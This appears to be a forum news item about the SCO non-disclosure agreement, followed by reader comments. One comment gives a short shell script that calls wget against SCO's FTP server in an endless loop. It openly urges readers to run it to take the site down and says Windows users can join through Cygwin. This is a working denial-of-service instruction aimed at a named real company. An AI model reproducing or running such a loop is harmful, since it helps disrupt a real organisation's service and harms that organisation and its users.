SCO NDA Online at LinuxJournal

shadowbearer writes "The full text of the SCO NDA is available here at LinuxJournal. IANAL, but my reading of it makes me understand all the industry "No way!" style comments. Here's a snippet:
"Dan Ravicher, an attorney who specializes in free software and open-source issues at the firm of Patterson, Belknap, Webb & Tyler, said in an interview there are three key problems with the NDA. First, Ravicher said, "SCO can pick and choose among all its evidence" to show only the parts that back up the company's claims. "They're agreeing to let you see the half of the picture that they want you to see", he added.""

Here's the lines in question, NDA be damned...

fork.c, line 272

module.c, line 54

module.c lines 153-155

and most potentially damning, signal.c, line 430

My Vow

[Thing 1]

I vow to post these instructions every time an article on SCO comes up.

My Favorite, from the other night. Put the following in the file get_sco.sh and then "chmod u+x get_sco.sh":

#!/bin/sh
wget -O /dev/null ftp://ftp.sco.com

This will download their entire FTP site (to /dev/null of course).

Put it in a loop if you really want to hurt them:

while true ; do ./get_sco.sh ; done

Report back when the site's down.

This works on the bash shell, which is the default under Cygwin on Windows -- so Windows users can help also.
